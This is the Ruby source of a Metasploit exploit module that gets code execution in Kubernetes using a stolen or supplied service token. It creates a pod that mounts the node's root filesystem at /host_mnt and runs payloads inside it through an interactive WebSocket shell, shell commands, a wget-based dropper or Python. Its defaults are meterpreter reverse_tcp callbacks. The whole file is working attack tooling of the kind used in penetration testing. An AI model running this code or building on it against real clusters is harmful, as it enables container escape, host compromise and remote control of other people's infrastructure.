modules/exploits/multi/kubernetes/exec.rb
# -*- coding: binary -*-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit
Rank = ManualRanking
include Msf::Exploit::Retry
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
include Msf::Exploit::Remote::HTTP::Kubernetes
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Kubernetes authenticated code execution',
'Description' => %q{
Execute a payload within a Kubernetes pod.
},
'License' => MSF_LICENSE,
'Author' => [
'alanfoster',
'Spencer McIntyre'
],
'References' => [
],
'Notes' => {
'SideEffects' => [
ARTIFACTS_ON_DISK, # the Linux Dropper target uses the command stager which writes to disk
CONFIG_CHANGES, # the Kubernetes configuration is changed if a new pod is created
IOC_IN_LOGS # a log event is generated if a new pod is created
],
'Reliability' => [ REPEATABLE_SESSION ],
'Stability' => [ CRASH_SAFE ]
},
'DefaultOptions' => {
'SSL' => true
},
'Targets' => [
[
'Interactive WebSocket',
{
'Arch' => ARCH_CMD,
'Platform' => 'unix',
'Type' => :nix_stream,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/interact'
},
'Payload' => {
'Compat' => {
'PayloadType' => 'cmd_interact',
'ConnectionType' => 'find'
}
}
}
],
[
'Unix Command',
{
'Arch' => ARCH_CMD,
'Platform' => 'unix',
'Type' => :nix_cmd
}
],
[
'Linux Dropper',
{
'Arch' => [ARCH_X86, ARCH_X64],
'Platform' => 'linux',
'Type' => :nix_dropper,
'DefaultOptions' => {
'CMDSTAGER::FLAVOR' => 'wget',
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
}
}
],
[
'Python',
{
'Arch' => [ARCH_PYTHON],
'Platform' => 'python',
'Type' => :python,
'PAYLOAD' => 'python/meterpreter/reverse_tcp'
}
]
],
'DisclosureDate' => '2021-10-01',
'DefaultTarget' => 0,
'Platform' => [ 'linux', 'unix' ],
'SessionTypes' => [ 'meterpreter' ]
)
)
register_options(
[
Opt::RHOSTS(nil, false),
Opt::RPORT(nil, false),
Msf::OptInt.new('SESSION', [ false, 'An optional session to use for configuration' ]),
OptString.new('TOKEN', [ false, 'The JWT token' ]),
OptString.new('POD', [ false, 'The pod name to execute in' ]),
OptString.new('NAMESPACE', [ false, 'The Kubernetes namespace', 'default' ]),
OptString.new('SHELL', [true, 'The shell to use for execution', 'sh' ]),
]
)
register_advanced_options(
[
OptString.new('PodImage', [ false, 'The image from which to create the pod' ]),
OptInt.new('PodReadyTimeout', [ false, 'The maximum amount time to wait for the pod to be created', 40 ]),
]
)
end
def pod_name
@pod_name || datastore['POD']
end
def create_pod
if datastore['PodImage'].blank?
image_names = @kubernetes_client.list_pods(namespace).fetch(:items, []).flat_map { |pod| pod.dig(:spec, :containers).map { |container| container[:image] } }.uniq
fail_with(Failure::NotFound, 'An image could not be found from which to create a pod, set the PodImage option') if image_names.empty?
else
image_names = [ datastore['PodImage'] ]
end
ready = false
image_names.each do |image_name|
print_status("Using image: #{image_name}")
random_identifiers = Rex::RandomIdentifier::Generator.new({
first_char_set: Rex::Text::LowerAlpha,
char_set: Rex::Text::LowerAlpha + Rex::Text::Numerals
})
new_pod_definition = {
apiVersion: 'v1',
kind: 'Pod',
metadata: {
name: random_identifiers[:pod_name],
labels: {}
},
spec: {
containers: [
{
name: random_identifiers[:container_name],
image: image_name,
command: ['/bin/sh', '-c', 'exec tail -f /dev/null'],
volumeMounts: [
{
mountPath: '/host_mnt',
name: random_identifiers[:volume_name]
}
]
}
],
volumes: [
{
name: random_identifiers[:volume_name],
hostPath: {
path: '/'
}
}
]
}
}
new_metadata = @kubernetes_client.create_pod(new_pod_definition, namespace)[:metadata]
@pod_name = random_identifiers[:pod_name]
print_good("Pod created: #{pod_name}")
print_status('Waiting for the pod to be ready...')
ready = retry_until_truthy(timeout: datastore['PodReadyTimeout']) do
pod = @kubernetes_client.get_pod(pod_name, namespace)
pod_status = pod[:status]
next if pod_status == 'Failure'
container_statuses = pod_status[:containerStatuses]
next unless container_statuses
ready = container_statuses.any? { |status| status[:ready] }
ready
rescue Msf::Exploit::Remote::HTTP::Kubernetes::Error::ServerError => e
elog(e)
false
end
if ready
report_note(
type: 'kubernetes.pod',
host: rhost,
port: rport,
data: {
pod: new_metadata.slice(:name, :namespace, :uid, :creationTimestamp),
imageName: image_name
},
update: :unique_data
)
break
end
print_error('The pod failed to start within the expected timeframe')
begin
@kubernetes_client.delete_pod(@pod_name, namespace)
rescue StandardError
print_error('Failed to delete the pod')
end
end
fail_with(Failure::Unknown, 'Failed to create a new pod') unless ready
end
def exploit
if session
print_status("Routing traffic through session: #{session.sid}")
configure_via_session
end
validate_configuration!
@kubernetes_client = Msf::Exploit::Remote::HTTP::Kubernetes::Client.new({ http_client: self, token: api_token })
create_pod if pod_name.blank?
case target['Type']
when :nix_stream
# Setting tty => true allows the shell prompt to be seen but it also causes commands to be echoed back
websocket = @kubernetes_client.exec_pod(
pod_name,
datastore['Namespace'],
datastore['Shell'],
'stdin' => true,
'stdout' => true,
'stderr' => true,
'tty' => false
)
print_good('Successfully established the WebSocket')
channel = Msf::Exploit::Remote::HTTP::Kubernetes::Client::ExecChannel.new(websocket)
handler(channel.lsock)
when :nix_cmd
execute_command(payload.encoded)
when :nix_dropper
execute_cmdstager
else
execute_command(payload.encoded)
end
rescue Rex::Proto::Http::WebSocket::ConnectionError => e
res = e.http_response
fail_with(Failure::Unreachable, e.message) if res.nil?
fail_with(Failure::NoAccess, 'Insufficient Kubernetes access') if res.code == 401 || res.code == 403
fail_with(Failure::Unknown, e.message)
else
report_service(host: rhost, port: rport, proto: 'tcp', name: 'kubernetes')
end
def execute_command(cmd, _opts = {})
case target['Platform']
when 'python'
command = [datastore['Shell'], '-c', "exec $(which python || which python3 || which python2) -c #{Shellwords.escape(cmd)}"]
else
command = [datastore['Shell'], '-c', cmd]
end
result = @kubernetes_client.exec_pod_capture(
pod_name,
datastore['Namespace'],
command,
'stdin' => false,
'stdout' => true,
'stderr' => true,
'tty' => false
) do |stdout, stderr|
print_line(stdout.strip) unless stdout.blank?
print_line(stderr.strip) unless stderr.blank?
end
fail_with(Failure::Unknown, 'Failed to execute the command') if result.nil?
status = result&.dig(:error, 'status')
fail_with(Failure::Unknown, "Status: #{status || 'Unknown'}") unless status == 'Success'
end
end